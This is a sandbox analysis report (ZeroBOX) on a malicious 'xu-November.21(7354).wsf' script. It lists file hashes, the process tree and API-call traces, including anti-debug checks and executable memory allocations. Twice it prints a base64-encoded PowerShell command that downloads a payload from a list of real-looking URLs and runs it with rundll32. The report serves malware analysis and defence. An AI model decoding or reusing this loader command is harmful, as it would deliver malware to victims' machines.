popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

xu-November.21(7354).wsf

Generic Malware Antivirus AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 12, 2023, 1:35 p.m. April 12, 2023, 1:37 p.m.
Size 223.6KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 b87327f3d6171c25482b5e4e6387ffc6
SHA256 cf4d31bce2319ecab814c997e7715249f805ded76f50fc1d6bebcb1dcf722954
CRC32 64A88FDC
ssdeep 6144:QoYipFycIc+6tckxlNUQHkKVBSNj82lc7Pj5+O:Lw6DHkKfZd+O
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\xu-November.21(7354).wsf

    3044

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="

      2184

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589138
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005898f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005898f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005898f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005897f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005891f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005891f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005891f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005893b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00589af8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00588db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00588db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00588db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00588db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02880000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02911000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02912000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029f9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029fe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b71000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b73000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b74000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AI